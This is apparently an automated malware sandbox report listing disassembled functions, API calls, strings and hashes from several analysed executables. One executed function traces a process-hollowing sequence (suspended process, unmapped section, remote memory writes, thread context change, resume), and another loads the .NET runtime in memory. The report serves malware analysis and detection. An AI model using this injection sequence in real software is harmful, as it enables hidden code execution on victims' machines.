LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00AA8AA1

Strings

api-ms-, xrefs: 00AA8A86

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 3d55f276ba5297adbc75325dea75c1670b879ea4deffc94688715781f56df65a
Instruction ID: a2d88afb3200cf46e5fd200a9e0fb3b983d1ae9a898bd4e6e1eaabd0aac52780
Opcode Fuzzy Hash: 3d55f276ba5297adbc75325dea75c1670b879ea4deffc94688715781f56df65a
Instruction Fuzzy Hash: 7EE04831340208BBFF107BA0DC06B593F55AB01B80F548031F90DE94F2EB6598528584

Function 00AAFC3E Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(5E2ACE94,00000000,00000000,00000000), ref: 00AAFCA1

Part of subcall function 00AB3CA4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00AB2C36,?,00000000,-00000008), ref: 00AB3D50

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00AAFEFC
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00AAFF44
GetLastError.KERNEL32 ref: 00AAFFE7

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 1dc31e266ae97afeebbd84917147a83037382669d1d5a28f898229903858bcfb
Instruction ID: 7a9ed29771a9ca79eaf277c8b278e84a7303a56bb41d0c3ab7884f0049790dc1
Opcode Fuzzy Hash: 1dc31e266ae97afeebbd84917147a83037382669d1d5a28f898229903858bcfb
Instruction Fuzzy Hash: 62D14875D042589FCB19CFE8D8809EDBBB5FF4A304F18412AE855EB296E730A942CB50

Function 00AA7A31 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00AA7AF8
___AdjustPointer.LIBCMT ref: 00AA7B1B
___AdjustPointer.LIBCMT ref: 00AA7BB7

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 01467bae1f6aab5c0afa71c40227f974f11deb51e46861acb501db56ac373f54
Instruction ID: 879ac03559f582e99ed35afce28f5b510690a47e7aada1a5cfa974b87946411c
Opcode Fuzzy Hash: 01467bae1f6aab5c0afa71c40227f974f11deb51e46861acb501db56ac373f54
Instruction Fuzzy Hash: 3851E0B2A08602AFDB299F14CD41BBFB7A4EF42311F14452DE916972D1E735ED80CBA0

Function 00AB40C0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00AB3CA4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00AB2C36,?,00000000,-00000008), ref: 00AB3D50

GetLastError.KERNEL32 ref: 00AB4124
__dosmaperr.LIBCMT ref: 00AB412B
GetLastError.KERNEL32(?,?,?,?), ref: 00AB4165
__dosmaperr.LIBCMT ref: 00AB416C

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c613b3e516e75025173ec31028db7343c83d790b2bc2b9c8e4826ffbb43e803e
Instruction ID: 47977b7b98532f6a0a9c1d4b1a0e01bda4452632896d3569e2ec43311ea0add0
Opcode Fuzzy Hash: c613b3e516e75025173ec31028db7343c83d790b2bc2b9c8e4826ffbb43e803e
Instruction Fuzzy Hash: 6721D731A00205BFDB20AF69DD91DBABBADFF59364B108628F915D7253D731EC418BA0

Function 00AAB419 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdd22ce0f69f7d44b68d8eb572c931a2f18dd849f4a46b0d50ece161f5c407a3
Instruction ID: b91898e06d0031fe2ad5281d3074454b8653c6ee8e287c82e520e19dc14eac43
Opcode Fuzzy Hash: bdd22ce0f69f7d44b68d8eb572c931a2f18dd849f4a46b0d50ece161f5c407a3
Instruction Fuzzy Hash: E7219331620205AFDB20AFA1CD9197ABBADFF4A364B108629F915D76D3E731EC418770

Function 00AB5056 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00AB505E

Part of subcall function 00AB3CA4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00AB2C36,?,00000000,-00000008), ref: 00AB3D50

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00AB5096
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00AB50B6

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 6e6a73f46e873982335c87e6a9b10c926d717d30f90f77ee750f6f74e40f6947
Instruction ID: ea80659db0b17e616d1129242893f8a967e84b91efa2989cc22c56ca7aa02a32
Opcode Fuzzy Hash: 6e6a73f46e873982335c87e6a9b10c926d717d30f90f77ee750f6f74e40f6947
Instruction Fuzzy Hash: 6611C4B2901A567FAA2177B5AD89EFF69ACDE8A3947500224F901E2103FF25CE0145B1

Function 00AB9485 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00AB8281,00000000,00000001,00000000,00000000,?,00AB003B,00000000,00000000,00000000), ref: 00AB949C
GetLastError.KERNEL32(?,00AB8281,00000000,00000001,00000000,00000000,?,00AB003B,00000000,00000000,00000000,00000000,00000000,?,00AB05C2,00000000), ref: 00AB94A8

Part of subcall function 00AB946E: CloseHandle.KERNEL32(FFFFFFFE,00AB94B8,?,00AB8281,00000000,00000001,00000000,00000000,?,00AB003B,00000000,00000000,00000000,00000000,00000000), ref: 00AB947E

___initconout.LIBCMT ref: 00AB94B8

Part of subcall function 00AB9430: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00AB945F,00AB826E,00000000,?,00AB003B,00000000,00000000,00000000,00000000), ref: 00AB9443

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00AB8281,00000000,00000001,00000000,00000000,?,00AB003B,00000000,00000000,00000000,00000000), ref: 00AB94CD

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: a3c0048c34d91705fa1c88272a98b274d5bdef5850b19023d3e7fe4aef948c53
Instruction ID: b14778107fba12c0fbf152633f6d77ff9a1f4b2632d6cd64e9bd42148ed2d826
Opcode Fuzzy Hash: a3c0048c34d91705fa1c88272a98b274d5bdef5850b19023d3e7fe4aef948c53
Instruction Fuzzy Hash: 93F0F836400154BBCF226FD5AC04A8E3F2AFB083B1F014110FA1995132DA3289229B90

Function 00AA172B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00AA1732
_strlen.LIBCMT ref: 00AA174A

Strings

Madino Mino, xrefs: 00AA1745, 00AA1810

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch_strlen
String ID: Madino Mino
API String ID: 3133806014-1963490786
Opcode ID: 0c8549529f71cdc4c2be089b4b7bc9e91d29b292ac59acb1aad21334341ce95c
Instruction ID: 8bd1c9be60840424ae295d7dfa2260f57d1eb6206408c8b6b9bc38ef114634d3
Opcode Fuzzy Hash: 0c8549529f71cdc4c2be089b4b7bc9e91d29b292ac59acb1aad21334341ce95c
Instruction Fuzzy Hash: 8E419175A00214AFCB10DFA8E9819ACB7F1BF4E760F69426AE0349B3D2C7759C41CB54

Function 00AA7720 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00AA775F
__IsNonwritableInCurrentImage.LIBCMT ref: 00AA7813

Strings

csm, xrefs: 00AA77FD

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 167ceb9d0b4a39bfbd3dc87120fb23a548a83a65f53577dd6de8c8218cadbe15
Instruction ID: 63fb56b7d2fc65275472ee0ed2ec81e5b76c8e09a988bee235555f4052a89a98
Opcode Fuzzy Hash: 167ceb9d0b4a39bfbd3dc87120fb23a548a83a65f53577dd6de8c8218cadbe15
Instruction Fuzzy Hash: E541A234E04218ABCF10DF68CC84AAFBBB5BF46324F148195E8159B3D2DB35D901CB91

Function 00AA802D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00AA8052

Strings

RCC, xrefs: 00AA806C
MOC, xrefs: 00AA8064

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: bf1b73703b48d4d868b94fe729d1aa4cf52d90d402cd1fea60ff07b1179cd2da
Instruction ID: 50e053fe01afda9a781bf126050a712b66a69503156945943063751f1883ce08
Opcode Fuzzy Hash: bf1b73703b48d4d868b94fe729d1aa4cf52d90d402cd1fea60ff07b1179cd2da
Instruction Fuzzy Hash: 76416A72900209AFCF16DF94CD81AEEBBB5FF4A300F148159FA14672A1D7399A51DB50

Analysis Process: zfQlIB6J8n2u_zLV5LHnA1xW.exePID: 3920, Parent PID: 4120COMMON

Execution Graph

Execution Coverage:	50.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	39
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0431A4F0 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 317
threadmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00003000,00000004), ref: 0431A561
GetTempFileNameA.KERNELBASE(?,kate,00000000,?), ref: 0431A714
CreateFileA.KERNELBASE(?,00000003,00000000,00000000,00000004,00000002,00000000), ref: 0431A742
WriteFile.KERNELBASE(00000000,?,000D7400,00000000,00000000), ref: 0431A76C
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000000,00000000), ref: 0431A7B6
NtUnmapViewOfSection.NTDLL(00000000,00400000), ref: 0431A7D0
VirtualAllocEx.KERNELBASE(00000000,00400000,?,00003000,00000040), ref: 0431A7FB
WriteProcessMemory.KERNELBASE(00000000,00400000,00000000,?,00000000), ref: 0431A81F
WriteProcessMemory.KERNELBASE(00000000,00000000,00000000,00000000,00000000), ref: 0431A881
Wow64GetThreadContext.KERNEL32(?,00010002), ref: 0431A8AF
Wow64SetThreadContext.KERNEL32(?,00010002), ref: 0431A8DA
ResumeThread.KERNELBASE(?), ref: 0431A8EC
ExitProcess.KERNEL32(00000000), ref: 0431A8F9

Strings

kate, xrefs: 0431A700, 0431A703

Memory Dump Source

Source File: 0000000C.00000002.2320846713.0000000004319000.00000040.00001000.00020000.00000000.sdmp, Offset: 04319000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4319000_zfQlIB6J8n2u_zLV5LHnA1xW.jbxd

Yara matches

Similarity

API ID: Process$FileMemoryThreadWrite$ContextCreateVirtualWow64$AllocAllocateExitNameResumeSectionTempUnmapView
String ID: kate
API String ID: 1984375786-4076676908
Opcode ID: a5fb23d055b49c4060df56bacf9ee3ef03c1422c21c807da1347bc76d1211067
Instruction ID: fc7c60005b59eec010b795ecf79585603446adfeb860ee8f5995db3156d6f0d4
Opcode Fuzzy Hash: a5fb23d055b49c4060df56bacf9ee3ef03c1422c21c807da1347bc76d1211067
Instruction Fuzzy Hash: 42E1CB75A00208AFDB58CF84D895FEEB7B5BF88314F108199E508AB391D771AE85CF94

Function 04319850 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 04319FB0: VirtualAlloc.KERNELBASE(00000000,0431990F,00003000,00000040), ref: 0431A034

NtCreateFile.NTDLL(00000000,00120089,00000018,?,00000000,00000080,00000001,00000001,00000040,00000000,00000000), ref: 04319A1B
FindCloseChangeNotification.KERNELBASE(00000000), ref: 04319ACC

Strings

@, xrefs: 0431999D

Memory Dump Source

Source File: 0000000C.00000002.2320846713.0000000004319000.00000040.00001000.00020000.00000000.sdmp, Offset: 04319000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4319000_zfQlIB6J8n2u_zLV5LHnA1xW.jbxd

Yara matches

Similarity

API ID: AllocChangeCloseCreateFileFindNotificationVirtual
String ID: @
API String ID: 482251274-2766056989
Opcode ID: 0e0dc5585c33f2c4c31cdc6bfcf1500614589984357103c7c5ed85e8348694b7
Instruction ID: 15d262e2fc520602a19ae89196cd82de0df18fe93c5006a02e56fe1ab2018e5d
Opcode Fuzzy Hash: 0e0dc5585c33f2c4c31cdc6bfcf1500614589984357103c7c5ed85e8348694b7
Instruction Fuzzy Hash: 8E81EE75A00218EFDB24DF54DC55FDAB3B5AF48710F1481E9EA09AB290D7706A84CF94

Function 04319B10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

.tex, xrefs: 04319BD4

Memory Dump Source

Source File: 0000000C.00000002.2320846713.0000000004319000.00000040.00001000.00020000.00000000.sdmp, Offset: 04319000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4319000_zfQlIB6J8n2u_zLV5LHnA1xW.jbxd

Yara matches

Similarity

API ID:
String ID: .tex
API String ID: 0-1946526065
Opcode ID: 86473fe90031cc0144bf05fc695b61ac0536840d3e25b293d5c37be5d6457d6f
Instruction ID: da946724bc06580770e1f35d1de137d3baf394b0e73966a42fbb0ab673c15c77
Opcode Fuzzy Hash: 86473fe90031cc0144bf05fc695b61ac0536840d3e25b293d5c37be5d6457d6f
Instruction Fuzzy Hash: C151D7B1E00109DFDB08CF84C8A4BEEFBB5FF48314F149599D915AB290D775AA85CBA0

Function 04319FB0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 46
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,0431990F,00003000,00000040), ref: 0431A034

Strings

VirtualAlloc, xrefs: 0431A019, 0431A01C

Memory Dump Source

Source File: 0000000C.00000002.2320846713.0000000004319000.00000040.00001000.00020000.00000000.sdmp, Offset: 04319000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4319000_zfQlIB6J8n2u_zLV5LHnA1xW.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: VirtualAlloc
API String ID: 4275171209-164498762
Opcode ID: c42a450ca02fa363a87eb9b6114333d3fd783ad335b2bc0464273431a807ed53
Instruction ID: 0052a6ea57e9c2370442911aa8ffab93c048b4484e2596465d925a6c626a577d
Opcode Fuzzy Hash: c42a450ca02fa363a87eb9b6114333d3fd783ad335b2bc0464273431a807ed53
Instruction Fuzzy Hash: A711E2A0D082C9DEFF01DBE898097EFBFB55F12709F044098D5446B282D6BA5758C7B6

Analysis Process: A_22rjVO67ooiUk2ueyL6tMl.exePID: 6444, Parent PID: 4120COMMON

Executed Functions

Function 6896B6B0 Relevance: 44.4, APIs: 23, Strings: 2, Instructions: 669
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6896B73F
VariantInit.OLEAUT32(?), ref: 6896B748
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6896B7BE
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6896B7F5
VariantClear.OLEAUT32(?), ref: 6896B801

Part of subcall function 6896C850: VariantInit.OLEAUT32(?), ref: 6896C88F
Part of subcall function 6896C850: VariantInit.OLEAUT32(?), ref: 6896C895
Part of subcall function 6896C850: SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6896C8A0
Part of subcall function 6896C850: SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6896C8D5
Part of subcall function 6896C850: VariantClear.OLEAUT32(?), ref: 6896C8E1

VariantClear.OLEAUT32(?), ref: 6896BA15
SafeArrayDestroy.OLEAUT32(?), ref: 6896BE90
VariantClear.OLEAUT32(?), ref: 6896BEA3
VariantClear.OLEAUT32(?), ref: 6896BEA9

Strings

Aj?Q, xrefs: 6896BEE5
Aj?Q, xrefs: 6896B875

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateElementVector$Destroy
String ID: Aj?Q$Aj?Q
API String ID: 2012514194-3777561156
Opcode ID: 4d91094a7bf1cb4bc26aec877ece08de3414f88caced6ff3e6e137900b042f89
Instruction ID: 77b4b26c6bf5e230d32792c32d070294e5c136269839b5d25e24493d2a83642c
Opcode Fuzzy Hash: 4d91094a7bf1cb4bc26aec877ece08de3414f88caced6ff3e6e137900b042f89
Instruction Fuzzy Hash: 52525975900218DFDB11DFA8C884BEEBBB9BF99314F548199E519AB340DB30E985CF90

Function 05BC0EB3 Relevance: 29.6, Strings: 23, Instructions: 800
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HERE, xrefs: 05BC19F0
LOOK, xrefs: 05BC19EB
p<]q, xrefs: 05BC1142
p<]q, xrefs: 05BC112C
p<]q, xrefs: 05BC1177
Guq, xrefs: 05BC1923
Guq, xrefs: 05BC1CCD
LOOK, xrefs: 05BC1081
Guq, xrefs: 05BC16D2
Guq, xrefs: 05BC1243
Guq, xrefs: 05BC14CA
LOOK, xrefs: 05BC0F6A
HERE, xrefs: 05BC1AA4
HERE, xrefs: 05BC12EC
HERE, xrefs: 05BC1592
LOOK, xrefs: 05BC158D
HERE, xrefs: 05BC0F6F
LOOK, xrefs: 05BC1A9F
HERE, xrefs: 05BC1086
HERE, xrefs: 05BC17E9
LOOK, xrefs: 05BC12E7
p<]q, xrefs: 05BC118D
LOOK, xrefs: 05BC17E4

Memory Dump Source

Source File: 0000000E.00000002.2658558268.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5bc0000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID: HERE$HERE$HERE$HERE$HERE$HERE$HERE$LOOK$LOOK$LOOK$LOOK$LOOK$LOOK$LOOK$p<]q$p<]q$p<]q$p<]q$Guq$Guq$Guq$Guq$Guq
API String ID: 0-3029792773
Opcode ID: ff23e91abdc00a22fd8aa3b92053f32c6944f3bdfcb6a001e4428e0e907a3c73
Instruction ID: a10cdb900894a0e129f1041fc31d6d11ddc4ec935242353f51bcd0a7cba218eb
Opcode Fuzzy Hash: ff23e91abdc00a22fd8aa3b92053f32c6944f3bdfcb6a001e4428e0e907a3c73
Instruction Fuzzy Hash: 2A829374E402298FDB64DF69C994B99BBB1BF88310F1481E9D40DAB365DB34AE81CF50

Function 6895B6C0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 245
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(mscoree.dll,513F6A41), ref: 6895B711
LoadLibraryW.KERNEL32(mscoree.dll), ref: 6895B71C
GetProcAddress.KERNEL32(00000000,CLRCreateInstance), ref: 6895B730
__cftoe.LIBCMT ref: 6895B870
GetModuleHandleW.KERNEL32(?), ref: 6895B88B
GetProcAddress.KERNEL32(00000000,C8F5E518), ref: 6895B8D7

Strings

CLRCreateInstance, xrefs: 6895B72A
mscoree.dll, xrefs: 6895B70C, 6895B717
v4.0.30319, xrefs: 6895B767

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: AddressHandleModuleProc$LibraryLoad__cftoe
String ID: CLRCreateInstance$mscoree.dll$v4.0.30319
API String ID: 1275574042-506955582
